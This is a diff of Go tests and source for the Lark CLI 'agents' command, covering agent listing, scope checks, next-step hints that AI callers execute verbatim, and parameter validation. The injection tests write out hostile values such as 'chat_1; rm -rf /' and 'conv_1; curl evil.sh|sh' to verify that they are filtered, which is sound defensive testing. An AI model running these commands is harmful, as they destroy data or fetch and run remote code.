opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedisc should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
agents, ok := data["agents"].([]interface{})
if !ok || len(agents) != 2 {
t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
}
first, _ := agents[0].(map[string]interface{})
if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
}
if env.Meta == nil || env.Meta.Count != 2 {
t.Errorf("meta.count should be 2, got %+v", env.Meta)
}
}
// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
// instance provider that wires the optional ListAgents hook enumerates via it,
// and the hook receives an identity-pinned runtime (not nil).
func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
var gotRT iagents.Runtime
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakelive",
Label: "test fake (instance live-enum)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: &spec,
ListAgents: func(_ context.Context, rt iagents.Runtime, _ iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
gotRT = rt
return []iagents.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, iagents.PageInfo{}, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.Flags().String("as", "", "identity")
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive", PageSize: defaultPageSize}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakelive should not error: %v", err)
}
if gotRT == nil {
t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
}
}
// TestAgentListScheme_PaginationMeta pins the command-level pagination envelope
// for the instance `list <scheme>` path: a ListAgents hook that returns a page
// plus PageInfo{HasMore,NextToken} surfaces as meta.has_more / meta.page_token,
// and meta.next carries a "下一页" action replaying the scheme with
// --page-size / --page-token.
func TestAgentListScheme_PaginationMeta(t *testing.T) {
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakelivepage",
Label: "test fake (instance paginated live-enum)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: &spec,
ListAgents: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
if page.Size != 2 {
t.Errorf("the ListAgents hook should receive the requested page size 2, got %d", page.Size)
}
return []iagents.AgentSummary{
{AgentRef: "fakelivepage:x", Name: "Live X"},
{AgentRef: "fakelivepage:y", Name: "Live Y"},
},
iagents.PageInfo{NextToken: "2", HasMore: true}, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.Flags().String("as", "", "identity")
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelivepage", PageSize: 2}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("paged list fakelivepage should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
if env.Meta == nil {
t.Fatal("a paged list should carry meta")
}
if !env.Meta.HasMore {
t.Error("meta.has_more should be true")
}
if env.Meta.PageToken != "2" {
t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
}
found := false
for _, n := range env.Meta.Next {
if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents list fakelivepage") &&
strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
found = true
}
}
if !found {
t.Errorf("meta.next should contain a 下一页 action replaying the scheme + --page-size/--page-token, got %+v", env.Meta.Next)
}
}
// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
// path now runs the same all-or-nothing scope preflight every other online verb
// runs. An instance provider with RequiredScopes, driven by a user whose token
// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
called := false
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakescopelive",
Label: "test fake (scoped live-enum)",
AgentIDSource: "test only",
RequiredScopes: []string{"live:read"},
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Instance: &spec,
ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
called = true
return nil, iagents.PageInfo{}, nil
},
})
// The stored user token holds an unrelated scope (non-empty so the preflight
// actually runs) but not the required one.
swapStoredScopes(t, []string{"unrelated:scope"})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user", PageSize: defaultPageSize}
err := agentListRun(opts)
if err == nil {
t.Fatal("listing as a user missing the required scope should fail with missing_scope")
}
if code := output.ExitCodeOf(err); code != 3 {
t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeMissingScope {
t.Fatalf("subtype should be missing_scope, got %+v", p)
}
if called {
t.Error("ListAgents must NOT be called when the scope preflight fails")
}
}
// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
// enforces the user|bot identity whitelist. An explicitly unsupported --as is
// rejected as a validation error before the online ListAgents call.
func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
called := false
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakelivewl",
Label: "test fake (identity-whitelist live-enum)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: &spec,
ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
called = true
return nil, iagents.PageInfo{}, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin", PageSize: defaultPageSize}
err := agentListRun(opts)
if err == nil {
t.Fatal("an unsupported identity should be rejected before the online call")
}
if !errs.IsValidation(err) {
t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
}
if called {
t.Error("ListAgents must NOT be called when the identity whitelist fails")
}
}
// TestAgentListScheme_OnlineChecksProviderIdentity covers the provider-level
// identity subset in addition to the global user|bot vocabulary. A user-only
// online provider must reject bot before constructing/calling ListAgents.
func TestAgentListScheme_OnlineChecksProviderIdentity(t *testing.T) {
called := false
spec := catSpec("", "", "")
iagents.Register(iagents.Provider{
Scheme: "fakeliveuseronly",
Label: "test fake (user-only live-enum)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Instance: &spec,
ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
called = true
return nil, iagents.PageInfo{}, nil
},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
opts := &listOptions{
Factory: f, Cmd: resolveCmd(t, true, "bot"), Format: "json",
Scheme: "fakeliveuseronly", As: "bot", PageSize: defaultPageSize,
}
err := agentListRun(opts)
if err == nil {
t.Fatal("bot should be rejected by a user-only online provider")
}
p, ok := errs.ProblemOf(err)
var validationErr *errs.ValidationError
if !ok || p.Subtype != errs.SubtypeInvalidArgument || !errors.As(err, &validationErr) || validationErr.Param != "--as" {
t.Fatalf("provider identity rejection should be invalid_argument for --as, got problem=%+v err=%v", p, err)
}
if called {
t.Error("ListAgents must NOT be called when the provider identity check fails")
}
}
// TestAgentListScheme_PrettyStripsANSI pins that `agents list <scheme> --format
// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
// static catalog entries) before they reach the terminal.
func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
iagents.Register(iagents.Provider{
Scheme: "fakedirty",
Label: "test fake (dirty names)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Catalog: []iagents.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
})
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := &cobra.Command{Use: "list"}
cmd.SetContext(context.Background())
opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentListRun(opts); err != nil {
t.Fatalf("list fakedirty pretty should not error: %v", err)
}
text := string(out.Bytes())
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
}
if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
t.Errorf("readable text should remain after stripping, got %q", text)
}
}
// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
// --jq flag must be registered on `agents list` and filter the envelope.
func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
cmd := NewCmdAgentList(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetContext(context.Background())
cmd.SetArgs([]string{"--jq", ".ok"})
if err := cmd.Execute(); err != nil {
t.Fatalf("agents list --jq should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "true" {
t.Errorf("--jq .ok should output only true, got %q", got)
}
}
// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
// of --format, the --jq flag presence, and that list takes at most one
// positional arg (the scheme).
func TestNewCmdAgentList_ReadRisk(t *testing.T) {
cmd := NewCmdAgentList(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("agents list should be marked read risk, got level=%q ok=%v", level, ok)
}
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Fatal("agents list should have a --format flag")
}
if fl.DefValue != "json" {
t.Errorf("--format default should flip to json, got %q", fl.DefValue)
}
if cmd.Flags().Lookup("jq") == nil {
t.Error("agents list should have a --jq flag")
}
if cmd.Flags().Lookup("as") == nil {
t.Error("agents list should register an --as flag (needed to pick the identity for online enumeration)")
}
if err := cmd.Args(cmd, []string{}); err != nil {
t.Errorf("agents list with no args should be valid: %v", err)
}
if err := cmd.Args(cmd, []string{"example"}); err != nil {
t.Errorf("agents list <scheme> should be valid: %v", err)
}
if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
t.Error("agents list with more than 1 positional argument should error (MaximumNArgs 1)")
}
}

View File

@@ -1,292 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"strings"
"testing"
iagents "github.com/larksuite/cli/internal/agents"
)
// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
// contract test automatically covers any future nextForTask branch keyed on a
// state instead of relying on hand-picked samples.
var allTaskStates = []iagents.TaskState{
iagents.StateSubmitted,
iagents.StateWorking,
iagents.StateInputRequired,
iagents.StateAuthRequired,
iagents.StateCompleted,
iagents.StateFailed,
iagents.StateCanceled,
iagents.StateRejected,
iagents.StateUnknown,
}
// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
// every next command emitted by nextForTask — across all 9 task states, with
// and without a context id, template hints included (their <...> placeholders
// are single space-free tokens, so they parse as ordinary flag values) — must
// traverse and flag-parse against the real agent command tree. meta.next is
// defined as "AI executes this verbatim", so a next that references a
// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
// at build time instead of by a failing acceptance run.
func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
// GIVEN: the real agent subtree (nil Factory: construction-time only, no
// credentials; all meta.next commands live under `lark-cli agents ...`).
agentTree := NewCmdAgents(nil)
for _, state := range allTaskStates {
for _, ctxID := range []string{"", "conversation_1"} {
task := &iagents.AgentTask{
TaskID: "chat_1",
ContextID: ctxID,
State: state,
IsTerminal: state.IsTerminal(),
}
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
if len(next) == 0 {
t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
}
for _, n := range next {
if state == iagents.StateAuthRequired {
// auth_required is an agent-side task state whose next step is
// the auth (re-authorize) flow, so it legitimately points OUT
// of the agent subtree and is not traversable against
// agentTree; assert its shape and skip the agent traversal.
if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
}
continue
}
if !strings.HasPrefix(n.Command, "lark-cli agents ") {
t.Fatalf("next %q must target the agent subtree", n.Command)
}
// WHEN: the command string is parsed against the real tree.
argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agents "))
c, flags, err := agentTree.Traverse(argv)
// THEN: it traverses to a leaf and its flags all exist.
if err != nil {
t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
}
if c == agentTree {
t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
}
if err := c.ParseFlags(flags); err != nil {
t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
}
}
}
}
}
// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
// whole next entry (omit rather than risk injection), in every state —
// meta.next commands are executed verbatim by AI callers, so shell
// metacharacters in an interpolated id are command injection.
func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
for _, state := range allTaskStates {
task := &iagents.AgentTask{TaskID: bad, State: state}
if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) != 0 {
t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
}
}
}
}
// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
// the user-echoed ref is interpolated into every next command, so a ref that
// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
// suppresses the whole hint — a ref with spaces/quotes would make the command
// un-copy-pasteable at best and an injection surface at worst.
func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
if next := nextForTask(bad, task, nil, nil, iagents.VerbSend); len(next) != 0 {
t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
}
}
if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) == 0 {
t.Error("valid ref example:agent_x should keep next")
}
}
// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
// its degradation semantics: a legit task_id with an injection-shaped
// context_id (input_required branch interpolates both) keeps the hint but
// replaces the dirty id with the <context_id> placeholder — Template:true, no
// untrusted content interpolated.
func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
dirty := "conv_1; curl evil.sh|sh"
task := &iagents.AgentTask{
TaskID: "chat_1",
ContextID: dirty,
State: iagents.StateInputRequired,
}
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
if len(next) != 1 {
t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
}
if !next[0].Template {
t.Errorf("degraded hint must be template=true, got %+v", next[0])
}
if !strings.Contains(next[0].Command, "<context_id>") {
t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
}
if strings.Contains(next[0].Command, "conv_1") {
t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
}
}
// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
// agent-side task state (the end user must (re)authorize in the agent), NOT a
// text-continuation like input_required. Its next must point at the auth
// re-authorize flow (auth login --scope), never reuse the text-continuation
// send hint.
func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
task := &iagents.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateAuthRequired}
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
if len(next) != 1 {
t.Fatalf("auth_required should produce 1 next, got %+v", next)
}
// Must NOT be the input_required text-continuation hint.
if strings.Contains(next[0].Command, "agents send") || strings.Contains(next[0].Command, "--text") {
t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
}
// Must point at the auth (re-authorize) flow.
if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
}
// The concrete scopes come from the card, so the command carries a
// placeholder and must be marked template.
if !next[0].Template {
t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
}
}
// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
// default: task get has --watch, not --wait, and the poll hint must suggest a
// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
// forever on a long task nor self-hammers with unbounded polls.
func TestNextForTaskWatchNotWait(t *testing.T) {
next := nextForTask("example:agent_x", &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}, nil, nil, iagents.VerbSend)
if len(next) == 0 {
t.Fatal("working task must produce a poll next")
}
if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
t.Fatalf("poll next must use --watch: %+v", next)
}
wantTimeout := "--timeout " + defaultWatchTimeout.String()
if !strings.Contains(next[0].Command, wantTimeout) {
t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
}
}
// TestNextForTaskQuestionGroup pins that an input_required task carrying a
// question group yields ONE per-question --answer template (bare <option_id>
// for a choice, marked repeatable for multi-select, .text=<文本> for free text,
// design doc §4.4); a group with any whitelist-failing question_id falls back
// to the free-text continuation (a key the CLI's own guard would reject is
// never emitted).
func TestNextForTaskQuestionGroup(t *testing.T) {
group := nextForTask("example:planner", &iagents.AgentTask{
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Label: "报表生成确认",
Questions: []iagents.Question{
{QuestionID: "q1_a8", Question: "维度?", Options: []iagents.Option{{OptionID: "by_region", Label: "按大区"}}},
{QuestionID: "q2_a8", Question: "时间?"},
{QuestionID: "q3_a8", Question: "区域?", MultiSelect: true, Options: []iagents.Option{{OptionID: "east", Label: "华东"}}},
},
},
}, nil, nil, iagents.VerbSend)
if len(group) != 1 || !group[0].Template {
t.Fatalf("question-group next must be one template action, got %+v", group)
}
for _, want := range []string{
"--answer q1_a8=<option_id>",
"--answer q2_a8.text=<文本>",
"--answer q3_a8=<option_id 多选可重复>",
"--task-id task_1",
} {
if !strings.Contains(group[0].Command, want) {
t.Errorf("question-group command should contain %q, got %q", want, group[0].Command)
}
}
if !strings.Contains(group[0].Label, "转达给用户") {
t.Errorf("label must be relay-first wording, got %q", group[0].Label)
}
// A question_id with shell metacharacters must NOT be interpolated → the
// whole group falls back to the --text continuation.
badID := nextForTask("example:planner", &iagents.AgentTask{
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Questions: []iagents.Question{{QuestionID: "q bad;rm", Question: "x"}},
},
}, nil, nil, iagents.VerbSend)
if len(badID) != 1 || strings.Contains(badID[0].Command, "--answer") || !strings.Contains(badID[0].Command, "--text") {
t.Errorf("a whitelist-failing question_id should fall back to the --text form, got %+v", badID)
}
// A flag-lookalike question_id ("--text" passes a bare charset test but not
// the alphanumeric-first rule) must likewise never be interpolated.
flagLike := nextForTask("example:planner", &iagents.AgentTask{
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Questions: []iagents.Question{{QuestionID: "--text", Question: "x"}},
},
}, nil, nil, iagents.VerbSend)
if len(flagLike) != 1 || strings.Contains(flagLike[0].Command, "--answer") {
t.Errorf("a flag-lookalike question_id must fall back, got %+v", flagLike)
}
}
func TestNextForTaskDoesNotSuggestStructuredAnswerWhenCapabilityIsDisabled(t *testing.T) {
next := nextForTask("base:assistant", &iagents.AgentTask{
TaskID: "task_1", ContextID: "ctx_1", State: iagents.StateInputRequired,
InputRequired: &iagents.InputRequired{
Questions: []iagents.Question{{
QuestionID: "q_scene",
Question: "请选择场景",
Options: []iagents.Option{{OptionID: "opt_create", Label: "新建"}},
}},
},
}, &iagents.AgentSpec{InputRequired: false}, nil, iagents.VerbTaskGet)
if len(next) != 1 || !strings.Contains(next[0].Command, "--text <你的答复>") || strings.Contains(next[0].Command, "--answer") {
t.Fatalf("disabled structured input must fall back to text continuation, got %+v", next)
}
}
// TestNextForTaskTemplateFlag pins the template marker semantics: the
// input_required continue hint carries a <你的答复> placeholder, so it must be
// marked template=true (not directly executable); poll and terminal-detail
// hints are verbatim-executable and must not carry the marker.
func TestNextForTaskTemplateFlag(t *testing.T) {
// input_required with a known context: placeholder in --text → template.
cont := nextForTask("example:agent_x", &iagents.AgentTask{
TaskID: "chat_1", ContextID: "conv_1", State: iagents.StateInputRequired,
}, nil, nil, iagents.VerbSend)
if len(cont) != 1 || !cont[0].Template {
t.Fatalf("input_required next must be template=true, got %+v", cont)
}
// input_required without a context id: <context_id> placeholder → template.
contNoCtx := nextForTask("example:agent_x", &iagents.AgentTask{
TaskID: "chat_1", State: iagents.StateInputRequired,
}, nil, nil, iagents.VerbSend)
if len(contNoCtx) != 1 || !contNoCtx[0].Template {
t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
}
// Poll and terminal-detail hints are directly executable → no template flag.
for _, task := range []*iagents.AgentTask{
{TaskID: "chat_1", State: iagents.StateWorking},
{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true},
} {
next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
if len(next) != 1 || next[0].Template {
t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
}
}
}

View File

@@ -1,505 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// This file is the per-verb business-parameter engine: --param k=v parsing,
// collect-all validation against one operation's declared set (every violation
// reported in one pass, each self-contained enough to fix without a discovery
// round-trip), default backfill, and the meta.next carry rule.
package agents
import (
"encoding/json"
"errors"
"fmt"
"sort"
"strconv"
"strings"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
// flatParams expands declarations to value-bearing leaves: scalars keep their
// name, an object contributes one leaf per Field under "obj.field" dotted
// names (leaf attributes rule). The object entry itself is NOT value-bearing
// and is excluded. Order is declaration order (meta.next determinism).
func flatParams(declared []iagents.CardParam) []iagents.CardParam {
out := make([]iagents.CardParam, 0, len(declared))
for _, cp := range declared {
if cp.Type == "object" {
for _, f := range cp.Fields {
leaf := f
leaf.Name = cp.Name + "." + f.Name
out = append(out, leaf)
}
continue
}
out = append(out, cp)
}
return out
}
// objectDecls indexes the top-level object params by name.
func objectDecls(declared []iagents.CardParam) map[string]iagents.CardParam {
out := map[string]iagents.CardParam{}
for _, cp := range declared {
if cp.Type == "object" {
out[cp.Name] = cp
}
}
return out
}
// validatedParams is the engine's product: Resolved is what the runtime hands
// to the provider hook (defaults backfilled); Given is only what the caller
// explicitly provided (no defaults) — the meta.next carry rule reads Given so
// backfilled defaults never turn into command-line noise.
type validatedParams struct {
Resolved map[string]string
Given map[string]string
}
// addParamFlag registers the shared --param flag on a leaf (two-line helper,
// same style as addAsFlag).
func addParamFlag(cmd *cobra.Command, params *[]string) {
cmd.Flags().StringArrayVar(params, "param", nil, "业务参数 key=value可重复各命令所需参数见 lark-cli agents card <agent_ref> --operation <verb>")
}
// validateParams parses --param pairs and validates them against ONE
// operation's declared parameter set, collecting ALL violations into a single
// typed invalid_argument error (exit 2). spec is used for the cross-operation
// reverse lookup on unknown keys ("它声明在: send") and may be nil (agents list
// path). Passing validation backfills declaration defaults into Resolved.
func validateParams(kvs []string, declared []iagents.CardParam, verb string, spec *iagents.AgentSpec, ref string) (validatedParams, error) {
// decl indexes the value-bearing leaves: scalars by name, object fields by
// dotted "obj.field" names — the canonical flat form every downstream
// consumer (Resolved, meta.next, rt.Params()) speaks.
leaves := flatParams(declared)
decl := make(map[string]iagents.CardParam, len(leaves))
for _, p := range leaves {
decl[p.Name] = p
}
objects := objectDecls(declared)
// seen 记录“这个 key 在 argv 里出现过”(重复检测 + 抑制误报的 missing-
// required 都看它given 只收录通过校验的值Resolved/meta.next 都看它)。
// 两张表必须分开:值校验失败的 key 若不进 seen重复提供会漏报、缺必填会误报
// (参数明明给了、只是值不对,再报一条“缺少必填”是自相矛盾的指令)。
// objChannel 记录每个对象走的通道dotted|json同一对象混用两通道报错
// 不做静默合并。
seen := map[string]bool{}
given := map[string]string{}
objChannel := map[string]string{}
var viols []errs.InvalidParam
addViol := func(name, reason string, spec *iagents.CardParam, suggestions ...string) {
v := errs.InvalidParam{Name: name, Reason: reason, Suggestions: suggestions}
if spec != nil {
v.Spec = *spec
}
viols = append(viols, v)
}
// ── parse + per-key checks一次收集全部──
for _, kv := range kvs {
k, val, ok := strings.Cut(kv, "=")
if !ok || k == "" {
addViol(kv, fmt.Sprintf("--param 格式应为 key=value得到 %q", kv), nil)
continue
}
if seen[k] {
addViol(k, fmt.Sprintf("参数 %s 重复提供(该参数不可重复)", k), nil)
continue
}
seen[k] = true
// ── 对象的 JSON 整值通道key 恰是对象名 ──
if obj, isObj := objects[k]; isObj {
if objChannel[k] == "dotted" {
addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供(同一对象只能选一种通道)", k), nil)
continue
}
objChannel[k] = "json"
validateObjectJSON(k, val, obj, verb, seen, given, addViol)
continue
}
// ── 点路径通道key 带 ".",指向对象的某个叶子 ──
if top, leaf, dotted := strings.Cut(k, "."); dotted {
obj, isObj := objects[top]
if !isObj {
reason, sugg := unknownParamReason(k, verb, leaves, spec)
addViol(k, reason, nil, sugg...)
continue
}
if objChannel[top] == "json" {
addViol(k, fmt.Sprintf("参数 %s 以 JSON 与点路径混合提供(同一对象只能选一种通道)", top), nil)
continue
}
objChannel[top] = "dotted"
cp, known := decl[k]
if !known {
addViol(k, fmt.Sprintf("未知参数 %s%s 可用字段: %s", k, top, fieldNames(obj)), nil, dottedFieldNames(obj)...)
continue
}
_ = leaf
if val == "" {
if cp.Required {
addViol(k, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", k, verb), &cp)
}
continue
}
if err := iagents.ValidateValue(cp, val); err != nil {
addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
continue
}
given[k] = canonicalValue(cp, val)
continue
}
cp, known := decl[k]
if !known {
reason, sugg := unknownParamReason(k, verb, leaves, spec)
addViol(k, reason, nil, sugg...)
continue
}
if val == "" {
// `k=` 空值统一按“未提供”处理(不进 given ⇒ 不遮蔽 Default 回填、
// 不把未过 Type/Enum/Range 校验的 "" 交给 hook——rt.Params() 契约)。
// 必填参数额外报专属违规;可选参数省略即得默认值,无需报错。
if cp.Required {
addViol(k, fmt.Sprintf("必填参数 %s 不能为空值(%s 必填)", k, verb), &cp)
}
continue
}
if err := iagents.ValidateValue(cp, val); err != nil {
addViol(k, fmt.Sprintf("参数 %s %s", k, err.Error()), &cp, cp.Enum...)
continue
}
given[k] = canonicalValue(cp, val)
}
// ── missing required对着平铺声明反查argv 里出现过的 key 不再重复报——
// 它要么已通过、要么已带着更精确的违规)──
for _, cp := range leaves {
if !cp.Required || seen[cp.Name] {
continue
}
c := cp
addViol(cp.Name, fmt.Sprintf("缺少必填参数 %s%s 必填)", cp.Name, verb), &c)
}
if len(viols) > 0 {
return validatedParams{}, paramsError(viols, verb, ref)
}
// ── default 回填(只作用于完全缺席的键)──
resolved := make(map[string]string, len(given))
for k, v := range given {
resolved[k] = v
}
for _, cp := range leaves {
if cp.Default == "" {
continue
}
if _, ok := resolved[cp.Name]; !ok {
resolved[cp.Name] = cp.Default
}
}
